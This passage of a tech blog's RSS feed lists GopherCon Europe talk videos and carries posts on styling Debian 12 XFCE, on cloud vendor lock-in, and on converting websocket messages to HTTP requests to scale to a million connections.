&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=tilSFyXL_z8&#34;&gt;Zvonimir Pavlinovic - Securing Containers Against Known Go Vulnerabilities (21:55)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=0f8JnJhC0-0&#34;&gt;Felix Geisendörfer - How to Win Frames and Influence Pointers @felixge (28:02)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=UCe88lVm1LE&#34;&gt;Rabieh Fashwall - Unraveling Go Anti-Patterns (29:46)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=3SIDKR6p1DA&#34;&gt;Hila Fish - Technical Documentation (29:49)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=4VSyrJI09K0&#34;&gt;Jonathan Amsterdam - HTTP Routing Enhancements (25:31)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=F_HyEHyFYEI&#34;&gt;Chioma Onyekpere - Leveraging Go for Efficient Infrastructure &amp;amp; Data Handling (12:12)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=B0dk3oVIeT0&#34;&gt;Travis Cline - Building AI Applications in Go (28:12)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=1-3-8aafbfo&#34;&gt;Go Team Panel (45:36)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=vrpJeseO4yA&#34;&gt;Go in DevOps Panel (43:09)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=PTQH2isqomk&#34;&gt;Agniva de Sarker - A Deep Dive into the DB Connection Pool (13:00)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=QT_nEfaTkS4&#34;&gt;Go Time Podcast (44:01)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=HPc-C0bx3kg&#34;&gt;Diana Shevchenko - Memory Optimization through Structure Packaging (14:23)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=OaKcuq6ej1I&#34;&gt;Cameron Balahan - The Business of Go (28:38)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;gophercon-europe-2023&#34;&gt;GopherCon Europe 2023&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=igFz-5rdn2Y&#34;&gt;Cameron Balahan - Keynote: The State Of Go (27:51)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=QNDvfez6QL0&#34;&gt;Xe Iaso - Reaching the Unix Philosophy&amp;rsquo;s Logical Extreme with Webassembly (23:36)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=Q90osDkqZt0&#34;&gt;Robert Grandl - Towards Modern Development of Cloud Applications (26:46)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=8WnVLmNO8iY&#34;&gt;Björn Rabenstein - How to Avoid Breaking Changes in your Go Modules (26:30)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=YlTRodoYOZ4&#34;&gt;Yiscah Levy Silas - Go Right Ahead! Simple Hacks to Cut Memory Usage by 80&amp;amp; (20:59)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=9tPZ5rs3K1k&#34;&gt;Maciej Rzasa - API Optimization Tale: Monitor, Fix and Deploy (24:14)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=z_DRN2g_sdY&#34;&gt;Julie Qiu - Vulnerability Management for Go (24:17)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=tC4Jt3i62ns&#34;&gt;Jonathan Amsterdam - A Fast Structured Logging Package (25:37)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=SLcV3t0Xdd4&#34;&gt;Go Panel (42:37)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=OBKULmYQbuU&#34;&gt;Drishti Jain - Go Beyond the Console: Developing 2D Games in Go (29:04)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=U7gfwKselkA&#34;&gt;Ayesha Kaleem - Gentle Introduction to EBPF (19:47)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=5uM6z7RnReE&#34;&gt;Julien Cretel - Useful Functional-Options Tricks for Better Libraries (27:07)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=rmcgI9D6rxs&#34;&gt;Giuseppe Scaramuzzino - Unleashing Desktop App Development with Go and Fyne (4:45)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=qng9-EuVG1M&#34;&gt;Robert Burke - I&amp;rsquo;m Excited to Use Generics in Go 1.21 (7:02)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=-jkMUeSb5MI&#34;&gt;Yolan Romailler - TLOCK: Encrypting Messages to the Future in Go (5:27)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=dazCEObGCXo&#34;&gt;Yusef Mohamadi - Race Conditions in Details (6:38)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=-EoVEIOvPek&#34;&gt;Ron Evans - A Small Update on Tiny Go (8:36)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=rXxEsaTxnbM&#34;&gt;GoTime Podcast Live (28:56)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=LtzB0oAB1Ok&#34;&gt;Elena Grahovac - Why Integration Tests Might be Better than Unit Tests (25:59)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=1j2ymOYjyU0&#34;&gt;Mohammed Al Sahaf - The Road to CGO-Less is Paved (30:39)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=NdjuW98ep_w&#34;&gt;Roman Khavronenko - Writing a TSDB from Scratch: Performance Optimization (25:48)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=y2zc9gvIMPM&#34;&gt;Yarden Laifenfeld - Go Sync or Go Home (28:43)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Enjoy!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>GopherCon Europe is a well known Go conference. We are listing the GopherCon
Europe 2023 and 2024 conference videos. The videos are posted on the
<a href="https://www.youtube.com/channel/UCxm3-iHEMy7IkU0_gwDVGAQ">GopherCon Europe Youtube channel</a>
and are linked below.</p>
<h3 id="gophercon-europe-2024">GopherCon Europe 2024</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=yQMlcrFk9Rk">Martin Gallauner - From Java to Go: I Have a Hammer and See Nails Everywhere (16:54)</a></li>
<li><a href="https://www.youtube.com/watch?v=FBOzPJkedcw">Robert Laszczak - Rethinking Domain-Driven Design in Go (28:41)</a></li>
<li><a href="https://www.youtube.com/watch?v=yiVOJqXTWfc">Raghav Roy - Using Formal Reasoning to Build Concurrent Go Systems (29:27)</a></li>
<li><a href="https://www.youtube.com/watch?v=tilSFyXL_z8">Zvonimir Pavlinovic - Securing Containers Against Known Go Vulnerabilities (21:55)</a></li>
<li><a href="https://www.youtube.com/watch?v=0f8JnJhC0-0">Felix Geisendörfer - How to Win Frames and Influence Pointers @felixge (28:02)</a></li>
<li><a href="https://www.youtube.com/watch?v=UCe88lVm1LE">Rabieh Fashwall - Unraveling Go Anti-Patterns (29:46)</a></li>
<li><a href="https://www.youtube.com/watch?v=3SIDKR6p1DA">Hila Fish - Technical Documentation (29:49)</a></li>
<li><a href="https://www.youtube.com/watch?v=4VSyrJI09K0">Jonathan Amsterdam - HTTP Routing Enhancements (25:31)</a></li>
<li><a href="https://www.youtube.com/watch?v=F_HyEHyFYEI">Chioma Onyekpere - Leveraging Go for Efficient Infrastructure &amp; Data Handling (12:12)</a></li>
<li><a href="https://www.youtube.com/watch?v=B0dk3oVIeT0">Travis Cline - Building AI Applications in Go (28:12)</a></li>
<li><a href="https://www.youtube.com/watch?v=1-3-8aafbfo">Go Team Panel (45:36)</a></li>
<li><a href="https://www.youtube.com/watch?v=vrpJeseO4yA">Go in DevOps Panel (43:09)</a></li>
<li><a href="https://www.youtube.com/watch?v=PTQH2isqomk">Agniva de Sarker - A Deep Dive into the DB Connection Pool (13:00)</a></li>
<li><a href="https://www.youtube.com/watch?v=QT_nEfaTkS4">Go Time Podcast (44:01)</a></li>
<li><a href="https://www.youtube.com/watch?v=HPc-C0bx3kg">Diana Shevchenko - Memory Optimization through Structure Packaging (14:23)</a></li>
<li><a href="https://www.youtube.com/watch?v=OaKcuq6ej1I">Cameron Balahan - The Business of Go (28:38)</a></li>
</ul>
<h3 id="gophercon-europe-2023">GopherCon Europe 2023</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=igFz-5rdn2Y">Cameron Balahan - Keynote: The State Of Go (27:51)</a></li>
<li><a href="https://www.youtube.com/watch?v=QNDvfez6QL0">Xe Iaso - Reaching the Unix Philosophy&rsquo;s Logical Extreme with Webassembly (23:36)</a></li>
<li><a href="https://www.youtube.com/watch?v=Q90osDkqZt0">Robert Grandl - Towards Modern Development of Cloud Applications (26:46)</a></li>
<li><a href="https://www.youtube.com/watch?v=8WnVLmNO8iY">Björn Rabenstein - How to Avoid Breaking Changes in your Go Modules (26:30)</a></li>
<li><a href="https://www.youtube.com/watch?v=YlTRodoYOZ4">Yiscah Levy Silas - Go Right Ahead! Simple Hacks to Cut Memory Usage by 80&amp; (20:59)</a></li>
<li><a href="https://www.youtube.com/watch?v=9tPZ5rs3K1k">Maciej Rzasa - API Optimization Tale: Monitor, Fix and Deploy (24:14)</a></li>
<li><a href="https://www.youtube.com/watch?v=z_DRN2g_sdY">Julie Qiu - Vulnerability Management for Go (24:17)</a></li>
<li><a href="https://www.youtube.com/watch?v=tC4Jt3i62ns">Jonathan Amsterdam - A Fast Structured Logging Package (25:37)</a></li>
<li><a href="https://www.youtube.com/watch?v=SLcV3t0Xdd4">Go Panel (42:37)</a></li>
<li><a href="https://www.youtube.com/watch?v=OBKULmYQbuU">Drishti Jain - Go Beyond the Console: Developing 2D Games in Go (29:04)</a></li>
<li><a href="https://www.youtube.com/watch?v=U7gfwKselkA">Ayesha Kaleem - Gentle Introduction to EBPF (19:47)</a></li>
<li><a href="https://www.youtube.com/watch?v=5uM6z7RnReE">Julien Cretel - Useful Functional-Options Tricks for Better Libraries (27:07)</a></li>
<li><a href="https://www.youtube.com/watch?v=rmcgI9D6rxs">Giuseppe Scaramuzzino - Unleashing Desktop App Development with Go and Fyne (4:45)</a></li>
<li><a href="https://www.youtube.com/watch?v=qng9-EuVG1M">Robert Burke - I&rsquo;m Excited to Use Generics in Go 1.21 (7:02)</a></li>
<li><a href="https://www.youtube.com/watch?v=-jkMUeSb5MI">Yolan Romailler - TLOCK: Encrypting Messages to the Future in Go (5:27)</a></li>
<li><a href="https://www.youtube.com/watch?v=dazCEObGCXo">Yusef Mohamadi - Race Conditions in Details (6:38)</a></li>
<li><a href="https://www.youtube.com/watch?v=-EoVEIOvPek">Ron Evans - A Small Update on Tiny Go (8:36)</a></li>
<li><a href="https://www.youtube.com/watch?v=rXxEsaTxnbM">GoTime Podcast Live (28:56)</a></li>
<li><a href="https://www.youtube.com/watch?v=LtzB0oAB1Ok">Elena Grahovac - Why Integration Tests Might be Better than Unit Tests (25:59)</a></li>
<li><a href="https://www.youtube.com/watch?v=1j2ymOYjyU0">Mohammed Al Sahaf - The Road to CGO-Less is Paved (30:39)</a></li>
<li><a href="https://www.youtube.com/watch?v=NdjuW98ep_w">Roman Khavronenko - Writing a TSDB from Scratch: Performance Optimization (25:48)</a></li>
<li><a href="https://www.youtube.com/watch?v=y2zc9gvIMPM">Yarden Laifenfeld - Go Sync or Go Home (28:43)</a></li>
</ul>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Install Debian 12 with modern XFCE themes</title>
      <link>https://www.tqdev.com/2024-install-debian-12-modern-xfce-themes/</link>
      <pubDate>Thu, 28 Nov 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-install-debian-12-modern-xfce-themes/</guid>
      <description>&lt;p&gt;I often choose Linux Mint XFCE when I need a good looking and comfortable system
quick. But sometimes I&amp;rsquo;d rather have a more stable system and match what I have
on the server, which is Debian 12 with XFCE. Unfortunately Debian with XFCE
doesn&amp;rsquo;t look as good as Mint with XFCE. In this post I&amp;rsquo;ll explain what you can
do to make Debian look like Mint/Xubuntu and suitable for everyday use.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I often choose Linux Mint XFCE when I need a good looking and comfortable system
quick. But sometimes I&rsquo;d rather have a more stable system and match what I have
on the server, which is Debian 12 with XFCE. Unfortunately Debian with XFCE
doesn&rsquo;t look as good as Mint with XFCE. In this post I&rsquo;ll explain what you can
do to make Debian look like Mint/Xubuntu and suitable for everyday use.</p>
<h3 id="panels">Panels</h3>
<p>In order to make the task bar look more familiar for Windows users do:</p>
<ol>
<li>Move the panel from the top to the bottom</li>
<li>Remove the second panel</li>
<li>Add the &ldquo;Whisker Menu&rdquo; to the panel&rsquo;s &ldquo;Items&rdquo;</li>
<li>Disable &ldquo;Dark mode&rdquo; on the panel&rsquo;s &ldquo;Appearance&rdquo;</li>
<li>Disable &ldquo;Group windows by application&rdquo; for the &ldquo;Window Buttons&rdquo; item</li>
</ol>
<p>Note that for me Network Manager applet was inversed in color until I logged out
and in again.</p>
<h3 id="windows--icons">Windows + Icons</h3>
<p>Install dependencies</p>
<pre><code>sudo apt install elementary-xfce-icon-theme 
sudo apt install fonts-noto
sudo apt install greybird-gtk-theme
sudo apt install lightdm-settings
sudo apt install dmz-cursor-theme
sudo apt install mugshot
</code></pre>
<p>Change &ldquo;Appearance&rdquo; settings</p>
<ol>
<li>Go to &ldquo;Appearance&rdquo;</li>
<li>Set &ldquo;Style&rdquo; to &ldquo;Greybird&rdquo;</li>
<li>Set &ldquo;Icons&rdquo; to &ldquo;elementary Xfce&rdquo;</li>
<li>Set &ldquo;Fonts&rdquo; to &ldquo;Noto Sans Regular&rdquo; size 9 and &ldquo;Noto Mono Regular&rdquo; size 10</li>
<li>Check &ldquo;Enable anti-aliasing&rdquo; set &ldquo;Hinting&rdquo; to &ldquo;Slight&rdquo;</li>
</ol>
<p>Change &ldquo;Window Manager&rdquo; settings</p>
<ol>
<li>Go to &ldquo;Window Manager&rdquo;</li>
<li>Set &ldquo;Style&rdquo; to &ldquo;Greybird&rdquo;</li>
<li>Set &ldquo;Title font&rdquo; to &ldquo;Noto Sans Bold&rdquo; size 9</li>
</ol>
<p>Change &ldquo;Mouse and Touchpad&rdquo; settings</p>
<ol>
<li>Go to &ldquo;Mouse and Touchpad&rdquo;</li>
<li>Go to &ldquo;Theme&rdquo;</li>
<li>Choose &ldquo;DMZ (White)&rdquo; size 24</li>
</ol>
<p>Change &ldquo;Login Window&rdquo; settings</p>
<ol>
<li>Go to &ldquo;Login Window&rdquo;</li>
<li>Set the correct &ldquo;Backround&rdquo; image</li>
<li>Set the &ldquo;GTK theme&rdquo; to &ldquo;Greybird&rdquo;</li>
<li>Set the &ldquo;Icon theme&rdquo; to &ldquo;elementary-xfce&rdquo;</li>
<li>Set the &ldquo;Mouse pointer&rdquo; to &ldquo;DMZ-White&rdquo;</li>
<li>Go to &ldquo;Users&rdquo;</li>
<li>Disable &ldquo;Allow manual login&rdquo;</li>
<li>Disable &ldquo;Hide the user list&rdquo;</li>
<li>Fill in the &ldquo;Username&rdquo;</li>
</ol>
<p>This should look familiar if you are used to Mint XFCE or Xubuntu like me.</p>
<h3 id="firefox-instead-of-firefox-esr">Firefox instead of Firefox ESR</h3>
<p>If you want the always up-to-date firefox as I want then you may want to install
Firefox instead of Firefox-ESR using:</p>
<pre><code>wget -q https://packages.mozilla.org/apt/repo-signing-key.gpg -O- | sudo tee /etc/apt/keyrings/packages.mozilla.org.asc &gt; /dev/null
echo &quot;deb [signed-by=/etc/apt/keyrings/packages.mozilla.org.asc] https://packages.mozilla.org/apt mozilla main&quot; | sudo tee -a /etc/apt/sources.list.d/mozilla.list &gt; /dev/null
sudo apt update &amp;&amp; sudo apt remove firefox-esr
sudo apt install firefox
</code></pre>
<p>Note that by default the profile is not migrated.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.omgubuntu.co.uk/2022/04/how-to-install-firefox-deb-apt-ubuntu-22-04">omgubuntu.co.uk - How to Install Firefox DEB on Ubuntu (Not Snap)</a></li>
<li><a href="https://www.reddit.com/r/debian/comments/16e2z9u/how_can_i_make_my_debian_xfce_install_feel_more/">How can I make my Debian / XFCE install feel more like Xubuntu?</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Can you afford to cloud compute?</title>
      <link>https://www.tqdev.com/2024-can-you-afford-to-cloud-compute/</link>
      <pubDate>Sun, 17 Nov 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-can-you-afford-to-cloud-compute/</guid>
      <description>&lt;p&gt;Data centers promise better and cheaper physical security, rented hardware,
electricity and connectivity than you can have on-premise, because of the scale
on which these companies operate. I think that is often true and that that&amp;rsquo;s is
why most companies moved their machines to racks in data-centers that are well
connected to the Internet.&lt;/p&gt;
&lt;h3 id=&#34;what-is-cloud-computing&#34;&gt;What is cloud computing?&lt;/h3&gt;
&lt;p&gt;Most people nowadays agree that even though your servers are not owned by you or
on-premise, this does not make it &amp;ldquo;cloud computing&amp;rdquo; or even &amp;ldquo;cloud native&amp;rdquo;. In
general people believe that cloud is more than &amp;ldquo;just someone else&amp;rsquo;s computer&amp;rdquo; as
&lt;a href=&#34;https://www.zdnet.com/article/stop-saying-the-cloud-is-just-someone-elses-computer-because-its-not/&#34;&gt;argued here&lt;/a&gt;.
Cloud computing has become a term used for good engineering practices in the
data-center.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Data centers promise better and cheaper physical security, rented hardware,
electricity and connectivity than you can have on-premise, because of the scale
on which these companies operate. I think that is often true and that that&rsquo;s is
why most companies moved their machines to racks in data-centers that are well
connected to the Internet.</p>
<h3 id="what-is-cloud-computing">What is cloud computing?</h3>
<p>Most people nowadays agree that even though your servers are not owned by you or
on-premise, this does not make it &ldquo;cloud computing&rdquo; or even &ldquo;cloud native&rdquo;. In
general people believe that cloud is more than &ldquo;just someone else&rsquo;s computer&rdquo; as
<a href="https://www.zdnet.com/article/stop-saying-the-cloud-is-just-someone-elses-computer-because-its-not/">argued here</a>.
Cloud computing has become a term used for good engineering practices in the
data-center.</p>
<h3 id="cloud-computing-promises">Cloud computing promises</h3>
<p>Especially product software companies are embracing &ldquo;cloud computing&rdquo; from cloud
vendors as it promises:</p>
<ul>
<li>Auto scaling, using a homogeneous set of commodity servers
(<a href="http://cloudscaling.com/blog/cloud-computing/the-history-of-pets-vs-cattle/">&ldquo;cattle not pets&rdquo;</a>)</li>
<li>High availability, having multiple servers and data-centers with automatic
fail-over</li>
<li>Git-ops, having automated installation of infrastructure</li>
<li>CI/CD, having automated testing and deployment of your software</li>
<li>Observability, having monitoring systems in place for your hardware and
software</li>
<li>Security, having access systems in place and the required access logging</li>
</ul>
<p>They mainly promise to reduce the number of IT hours that one needs to operate
and set up these things.</p>
<h3 id="expectations-of-engineers">Expectations of engineers</h3>
<p>Now also consider this: DevOps engineers should know how to achieve tiered HA
using HAproxy behind an automated authoritative DNS with health checks. DevOps
engineers should know how to automate the install of a Linux server using DHCP,
PXE boot, preseed and Ansible and should know why one needs a management network
across their machines. Software engineers should know how to automatically
provision Docker containers or KVM virtual machines and run Jenkins builds and
automated Unit and Playwright E2E tests on them. Both should be versed in
Prometheus and Grafana to add important (more is not better) metrics and alarms
to their hardware and software. Security engineers should help to test and
deploy infrastructure and code scanning tools to identify issues and help to
comply with privacy and security regulations. Architects should design systems
with a homogeneous set of commodity servers in mind, so that the software scales
easily. Engineers with this knowledge know how everything needed to achieve the
cloud computing promises.</p>
<h3 id="cloud-vendor-lock-in">Cloud vendor lock-in</h3>
<p>If &ldquo;cloud computing&rdquo; is a term used for good engineering practices in the
data-center, then skilled engineers can easily apply these practices
effectively. Buying cloud computing from cloud vendors is NOT making any of the
good practices cheaper, but is does provide alternative ways to achieve the same
goals, causing a strong vendor lock-in. Some of the things that may cause
lock-in are:</p>
<ul>
<li>Cloud IP addresses, due to bad use of DNS or IP white-listing</li>
<li>Cloud tooling, such as CloudFormation</li>
<li>Cloud infrastructure, such as Lambdas</li>
<li>Cloud services, such as AWS IAM</li>
<li>Cloud databases, such as RDS or Aurora</li>
</ul>
<p>You can imagine that cloud trainings and cloud certifications for junior IT
employees play an important role here, but I leave the motivation and effects of
that as an exercise to the reader. I&rsquo;d advice companies to migrate to a
different infrastructure provider twice per year, so that they know that their
high availability plan works, that they have proper automation and that they
don&rsquo;t fall into the trap of a strong vendor-lock in.</p>
<h3 id="conclusion">Conclusion</h3>
<p>My point is that &ldquo;cloud computing&rdquo; is a term used for good engineering practices
in the data-center. The &ldquo;cloud computing&rdquo; sold by cloud vendors is something
different. Their &ldquo;cloud computing&rdquo; leads to high bills with a strong vendor
lock-in (and intentionally so). Whether or not you call your infrastructure
&ldquo;cloud&rdquo; is up to you. I wouldn&rsquo;t, as to me it is a silly word that often does
not mean what people think it means. I know I&rsquo;m talking to knowledgeable people
when they say: &ldquo;Cloud? Isn&rsquo;t that just someone else&rsquo;s computer?&rdquo;.</p>
<p>Mary Branscombe (of ZDnet) explains this as:</p>
<blockquote>
<p>The &lsquo;someone else&rsquo;s computer&rsquo; crack can mean a few things. It can mean that
someone does know very well what cloud means but they&rsquo;re fed up of dealing
with people who don&rsquo;t understand that, and want to remind them the cloud is
made up of computers, that the laws of physics still apply (maybe you need to
care about network latency and whether your storage and your computing is in
the same place) and that if you need to care about regulation that you need to
pick a cloud service that meets those regulations.</p></blockquote>
<p>I&rsquo;ll leave you with that.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://media.ccc.de/v/gpn22-270-why-the-cloud-is-evil">GPN 22 - why the cloud is evil</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Scaling to 1 million websockets in PHP</title>
      <link>https://www.tqdev.com/2024-scaling-to-1-million-websockets/</link>
      <pubDate>Thu, 14 Nov 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-scaling-to-1-million-websockets/</guid>
      <description>&lt;p&gt;A client asked me: How does one scale software to handle 1 million websocket
connections? At 1000k connections when every client sends only one message per
30 seconds you have to deal with 33333 websocket messages per second. Dealing
with that many requests per second is well understood in HTTP, but unfortunately
these are messages on a websocket. Nevertheless, let&amp;rsquo;s assume that these are
HTTP requests for now.&lt;/p&gt;
&lt;h3 id=&#34;33k-requests-per-second-in-php&#34;&gt;33k requests per second in PHP&lt;/h3&gt;
&lt;p&gt;Laravel behind Nginx can do 2908 requests per second on a Dell R440 Xeon Gold +
10 GbE when the average API call is 20 database queries per request (see
&lt;a href=&#34;https://www.techempower.com/benchmarks&#34;&gt;here&lt;/a&gt;). This means that in order to
handle 33333 API requests for 1 million websockets you need a minimum of 12 of
these machines. Also, the corresponding 666k queries per second may need
horizontal scaling of the database (unless the queries are really cheap, see
&lt;a href=&#34;https://www.percona.com/blog/millions-queries-per-second-postgresql-and-mysql-peaceful-battle-at-modern-demanding-workloads/&#34;&gt;here&lt;/a&gt;).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>A client asked me: How does one scale software to handle 1 million websocket
connections? At 1000k connections when every client sends only one message per
30 seconds you have to deal with 33333 websocket messages per second. Dealing
with that many requests per second is well understood in HTTP, but unfortunately
these are messages on a websocket. Nevertheless, let&rsquo;s assume that these are
HTTP requests for now.</p>
<h3 id="33k-requests-per-second-in-php">33k requests per second in PHP</h3>
<p>Laravel behind Nginx can do 2908 requests per second on a Dell R440 Xeon Gold +
10 GbE when the average API call is 20 database queries per request (see
<a href="https://www.techempower.com/benchmarks">here</a>). This means that in order to
handle 33333 API requests for 1 million websockets you need a minimum of 12 of
these machines. Also, the corresponding 666k queries per second may need
horizontal scaling of the database (unless the queries are really cheap, see
<a href="https://www.percona.com/blog/millions-queries-per-second-postgresql-and-mysql-peaceful-battle-at-modern-demanding-workloads/">here</a>).</p>
<p>Approximately 2 dedicated machines with Haproxy behind DNS round-robin may be
able to handle the reverse proxy load of stripping SSL and distributing over
multiple machines for about 33k HTTPS requests (see
<a href="https://www.freecodecamp.org/news/how-we-fine-tuned-haproxy-to-achieve-2-000-000-concurrent-ssl-connections-d017e61a4d27/">here</a>).</p>
<pre><code>DNS RR --&gt; 2 x HaProxy --&gt; 2 x WS2API --&gt; 12 x PHP --&gt; 2 x PgSQL
</code></pre>
<p>These 33k requests per second can be handled by 2 &ldquo;WS2API&rdquo; servers that convert
websocket messages to HTTP requests.</p>
<h3 id="how-does-ws2api-work">How does WS2API work?</h3>
<p>So what is it the WS2API project does to allow one to treat websocket messages
as HTTP requests? Here are the client initiated flows:</p>
<pre><code>WS client --[ws upgrade]--&gt; WS server --[http get request]--&gt; API server

WS client &lt;--[ws connect]-- WS server &lt;--[http response &quot;ok&quot;]-- API server

WS client --[message]--&gt; WS server --[http post request]--&gt; API server

WS client &lt;--[message]-- WS server &lt;--[http response]-- API server

WS client --[ws close]--&gt; WS server --[http delete request]--&gt; API server

WS client &lt;--[ws disconnect]-- WS server &lt;--[http response &quot;ok&quot;]-- API server
</code></pre>
<p>And this is the server initiated flow:</p>
<pre><code>API server --[http post request]--&gt; WS server --[message]--&gt; WS client
</code></pre>
<p>Note that responses to server-to-client requests are handled as client-to-server
requests.</p>
<h3 id="ws2api-complicated">WS2API, complicated?</h3>
<p>I have implemented WS2API several times in different languages and frameworks:</p>
<ul>
<li>Go with <a href="https://github.com/lxzan/gws">GWS</a>
(<a href="https://github.com/mevdschee/ws2api">source</a>)</li>
<li>PHP with <a href="https://openswoole.com/">OpenSwoole</a>
(<a href="https://github.com/mevdschee/ws2api-php">source</a>)</li>
<li>PHP with <a href="https://github.com/swow/swow">Swow</a>
(<a href="https://github.com/mevdschee/ws2api-php-alt">source</a>)</li>
</ul>
<p>It is only 200 lines of code, so it is easy to port to any language/library.
Here is a stress test (connection ramp-up) with 1 message per 10 seconds instead
of per 30 seconds on a single instance of the above software:</p>
<p>
  
    <img src="/uploads/2024/ws2api-graphs_hu_ea121f8e3b3b40e8.webp" alt="performance graph" width="597" style="max-width: 597px;" />
  
</p>
<p>As you can see the RPS (request per second) and connection ramp-up are very good
in Go, helping in cold-start situations.</p>
<h3 id="a-nicer-diagram">A nicer diagram</h3>
<p>
  
    <img src="/uploads/2024/ws2api-diagram_hu_cf880185f9a64e5f.webp" alt="WS2API diagram"  />
  
</p>
<p>Note that there is no centralized connection lookup needed as every requests is
always (consistently) mapped to the same WS2API &ldquo;ws proxy&rdquo; server as long as
each client connects with a unique &ldquo;Client ID&rdquo; string in the URI path. This
ClientID is also used as an address when sending messages back to the websocket
client.</p>
<h3 id="conclusion">Conclusion</h3>
<p>If you want to deal with 1 million websocket connections it may be beneficial to
convert the websocket messages to HTTP requests. This way you can deal with a
&ldquo;normal&rdquo; high traffic web application, instead of a custom websocket solution.
WS2API does this for you and WS2API as a concept that is easy to implement.</p>
<p>See: <a href="https://github.com/mevdschee/ws2api">https://github.com/mevdschee/ws2api</a></p>
<p>Enjoy!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.freecodecamp.org/news/million-websockets-and-go-cc58418460bb/">Sergey Kamardin - A Million WebSockets and Go</a></li>
<li><a href="https://github.com/ramsicandra/1million-ws">Github.com - 1 Million Websockets with Node.JS</a></li>
<li><a href="https://itnext.io/websocket-1-million-connections-using-appwrite-2d2a2c363a37">WebSocket — 1 Million Connections using Appwrite</a></li>
<li><a href="https://github.com/isobit/ws-tcp-relay">Simple proxy between WebSockets and TCP servers</a></li>
<li><a href="https://centrifugal.dev/blog/2020/11/12/scaling-websocket">Centrifugal.dev - Scaling WebSocket in Go and beyond</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Running Debian 12 on Windows with WSL 2</title>
      <link>https://www.tqdev.com/2024-running-debian-on-windows-10-with-wsl/</link>
      <pubDate>Tue, 01 Oct 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-running-debian-on-windows-10-with-wsl/</guid>
      <description>&lt;p&gt;So, maybe your employer want you to use Windows. Obviously you still want to use
Linux as you want to run whatever operating system your production servers run.
